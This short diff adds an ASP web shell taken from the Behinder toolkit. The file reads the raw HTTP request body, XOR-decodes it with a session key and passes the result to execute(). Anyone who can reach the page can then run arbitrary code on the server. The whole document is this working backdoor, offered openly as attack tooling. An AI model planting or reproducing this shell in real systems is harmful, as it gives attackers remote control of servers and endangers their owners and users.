add shell.asp with Behinder

from : https://github.com/rebeyond/Behinder
author: rebeyond  👍

Behinder/shell.asp

@@ -0,0 +1,11 @@
+<%
+Response.CharSet = "UTF-8" 
+Session("k")=k
+k=Session("k")
+size=Request.TotalBytes
+content=Request.BinaryRead(size)
+For i=1 To size
+result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
+Next
+execute(result)
+%>